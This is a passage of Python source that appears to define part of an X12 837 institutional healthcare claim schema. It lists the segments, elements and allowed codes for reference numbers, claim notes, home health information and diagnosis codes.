Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Peer Review Organization (PRO) Approval Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'G4'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'180',desc=u'Prior Authorization or Referral Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'9F', u'G1'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Medical Record Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'EA'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Demonstration Project Identifier'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'P4'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'K3', Properties(syntax='',req_sit=u'S',repeat=u'10',pos=u'185',desc=u'File Information'), Element( u'K301', Properties(desc=u'Fixed Format Information', req_sit=u'R', data_type=(u'AN',u'1',u'80'), position=1, codes=[] ) ), Element( u'K302', Properties(desc=u'Record Format Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=2, codes=[] ) ), Composite( u'C001', Properties(req_sit=u'N',refdes='',seq=u'03',desc=u'Composite Unit of Measure'), ), ), Segment( u'NTE', Properties(syntax='',req_sit=u'S',repeat=u'10',pos=u'190',desc=u'Claim Note'), Element( u'NTE01', Properties(desc=u'Note Reference Code', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'ALG', u'DCP', u'DGN', u'DME', u'MED', u'NTR', u'ODT', u'RHB', u'RLH', u'RNH', u'SET', u'SFM', u'SPT', u'UPI'] ) ), Element( u'NTE02', Properties(desc=u'Description', req_sit=u'R', data_type=(u'AN',u'1',u'80'), position=2, codes=[] ) ), ), Segment( u'NTE', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'190',desc=u'Billing Note'), Element( u'NTE01', Properties(desc=u'Note Reference Code', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'ADD'] ) ), Element( u'NTE02', Properties(desc=u'Description', req_sit=u'R', data_type=(u'AN',u'1',u'80'), position=2, codes=[] ) ), ), Segment( u'CR6', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'216',desc=u'Home Health Care Information'), Element( u'CR601', Properties(desc=u'Prognosis Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=1, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8'] ) ), Element( u'CR602', Properties(desc=u'Date', req_sit=u'R', data_type=(u'DT',u'8',u'8'), position=2, codes=[] ) ), Element( u'CR603', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=3, codes=[u'RD8'] ) ), Element( u'CR604', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'CR605', Properties(desc=u'Date', req_sit=u'R', data_type=(u'DT',u'8',u'8'), position=5, codes=[] ) ), Element( u'CR606', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=6, codes=[u'N', u'U', u'Y'] ) ), Element( u'CR607', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=7, codes=[u'N', u'Y'] ) ), Element( u'CR608', Properties(desc=u'Certification Type Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=8, codes=[u'I', u'R', u'S'] ) ), Element( u'CR609', Properties(desc=u'Date', req_sit=u'S', data_type=(u'DT',u'8',u'8'), position=9, codes=[] ) ), Element( u'CR610', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=10, codes=[u'HC', u'ID'] ) ), Element( u'CR611', Properties(desc=u'Medical Code Value', req_sit=u'S', data_type=(u'AN',u'1',u'15'), position=11, codes=[] ) ), Element( u'CR612', Properties(desc=u'Date', req_sit=u'S', data_type=(u'DT',u'8',u'8'), position=12, codes=[] ) ), Element( u'CR613', Properties(desc=u'Date', req_sit=u'S', data_type=(u'DT',u'8',u'8'), position=13, codes=[] ) ), Element( u'CR614', Properties(desc=u'Date', req_sit=u'S', data_type=(u'DT',u'8',u'8'), position=14, codes=[] ) ), Element( u'CR615', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=15, codes=[u'RD8'] ) ), Element( u'CR616', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=16, codes=[] ) ), Element( u'CR617', Properties(desc=u'Patient Location Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=17, codes=[u'A', u'B', u'C', u'D', u'E', u'F', u'G', u'H', u'L', u'M', u'O', u'R', u'S', u'T'] ) ), Element( u'CR618', Properties(desc=u'Date', req_sit=u'S', data_type=(u'DT',u'8',u'8'), position=18, codes=[] ) ), Element( u'CR619', Properties(desc=u'Date', req_sit=u'S', data_type=(u'DT',u'8',u'8'), position=19, codes=[] ) ), Element( u'CR620', Properties(desc=u'Date', req_sit=u'S', data_type=(u'DT',u'8',u'8'), position=20, codes=[] ) ), Element( u'CR621', Properties(desc=u'Date', req_sit=u'S', data_type=(u'DT',u'8',u'8'), position=21, codes=[] ) ), ), Segment( u'CRC', Properties(syntax='',req_sit=u'S',repeat=u'3',pos=u'220',desc=u'Home Health Functional Limitations'), Element( u'CRC01', Properties(desc=u'Code Category', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'75'] ) ), Element( u'CRC02', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'N', u'Y'] ) ), Element( u'CRC03', Properties(desc=u'Condition Indicator', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=3, codes=[u'AA', u'AL', u'BL', u'CO', u'DY', u'EL', u'HL', u'LB', u'OL', u'PA', u'SL'] ) ), Element( u'CRC04', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[u'AA', u'AL', u'BL', u'CO', u'DY', u'EL', u'HL', u'LB', u'OL', u'PA', u'SL'] ) ), Element( u'CRC05', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=5, codes=[u'AA', u'AL', u'BL', u'CO', u'DY', u'EL', u'HL', u'LB', u'OL', u'PA', u'SL'] ) ), Element( u'CRC06', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=6, codes=[u'AA', u'AL', u'BL', u'CO', u'DY', u'EL', u'HL', u'LB', u'OL', u'PA', u'SL'] ) ), Element( u'CRC07', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=7, codes=[u'AA', u'AL', u'BL', u'CO', u'DY', u'EL', u'HL', u'LB', u'OL', u'PA', u'SL'] ) ), ), Segment( u'CRC', Properties(syntax='',req_sit=u'S',repeat=u'3',pos=u'220',desc=u'Home Health Activities Permitted'), Element( u'CRC01', Properties(desc=u'Code Category', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'76'] ) ), Element( u'CRC02', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'N', u'Y'] ) ), Element( u'CRC03', Properties(desc=u'Condition Indicator', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=3, codes=[u'BR', u'CA', u'CB', u'CR', u'EP', u'IH', u'NR', u'PW', u'TR', u'UT', u'WA', u'WR'] ) ), Element( u'CRC04', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[u'BR', u'CA', u'CB', u'CR', u'EP', u'IH', u'NR', u'PW', u'TR', u'UT', u'WA', u'WR'] ) ), Element( u'CRC05', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=5, codes=[u'BR', u'CA', u'CB', u'CR', u'EP', u'IH', u'NR', u'PW', u'TR', u'UT', u'WA', u'WR'] ) ), Element( u'CRC06', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=6, codes=[u'BR', u'CA', u'CB', u'CR', u'EP', u'IH', u'NR', u'PW', u'TR', u'UT', u'WA', u'WR'] ) ), Element( u'CRC07', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=7, codes=[u'BR', u'CA', u'CB', u'CR', u'EP', u'IH', u'NR', u'PW', u'TR', u'UT', u'WA', u'WR'] ) ), ), Segment( u'CRC', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'220',desc=u'Home Health Mental Status'), Element( u'CRC01', Properties(desc=u'Code Category', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'77'] ) ), Element( u'CRC02', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'N', u'Y'] ) ), Element( u'CRC03', Properties(desc=u'Condition Indicator', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=3, codes=[u'AG', u'CM', u'DI', u'DP', u'FO', u'LE', u'MC', u'OT'] ) ), Element( u'CRC04', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[u'AG', u'CM', u'DI', u'DP', u'FO', u'LE', u'MC', u'OT'] ) ), Element( u'CRC05', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=5, codes=[u'AG', u'CM', u'DI', u'DP', u'FO', u'LE', u'MC', u'OT'] ) ), Element( u'CRC06', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=6, codes=[u'AG', u'CM', u'DI', u'DP', u'FO', u'LE', u'MC', u'OT'] ) ), Element( u'CRC07', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=7, codes=[u'AG', u'CM', u'DI', u'DP', u'FO', u'LE', u'MC', u'OT'] ) ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'231',desc=u'Principal, Admitting, E-Code and Patient Reason for Visit Diagnosis Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BK'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Health Care Code Information'), Element( u'HI02-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BJ', u'ZZ'] ) ), Element( u'HI02-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI02-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI02-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI02-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI02-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI02-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Health Care Code Information'), Element( u'HI03-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BN'] ) ), Element( u'HI03-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI03-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI03-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI03-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI03-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI03-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'06',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'07',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'08',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'09',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'10',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'11',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'12',desc=u'Health Care Code Information'), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'231',desc=u'Diagnosis Related Group (DRG) Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'DR'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'02',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'03',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'06',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'07',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'08',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'09',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'10',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'11',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'12',desc=u'Health Care Code Information'), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'231',desc=u'Other Diagnosis Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Health Care Code Information'), Element( u'HI02-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI02-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI02-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI02-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI02-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI02-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI02-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Health Care Code Information'), Element( u'HI03-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI03-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI03-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI03-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI03-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI03-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI03-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'04',desc=u'Health Care Code Information'), Element( u'HI04-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI04-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI04-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI04-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI04-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI04-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI04-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'05',desc=u'Health Care Code Information'), Element( u'HI05-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI05-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI05-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI05-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI05-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI05-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI05-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'06',desc=u'Health Care Code Information'), Element( u'HI06-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI06-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI06-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI06-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI06-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI06-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI06-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'07',desc=u'Health Care Code Information'), Element( u'HI07-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI07-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI07-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI07-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI07-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI07-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI07-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'08',desc=u'Health Care Code Information'), Element( u'HI08-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI08-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI08-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI08-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI08-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI08-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI08-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'09',desc=u'Health Care Code Information'), Element( u'HI09-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI09-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI09-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI09-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI09-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI09-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI09-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'10',desc=u'Health Care Code Information'), Element( u'HI10-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI10-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI10-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI10-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI10-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI10-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI10-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'11',desc=u'Health Care Code Information'), Element( u'HI11-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI11-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI11-03', Properties(desc=u'Date Time Period Format 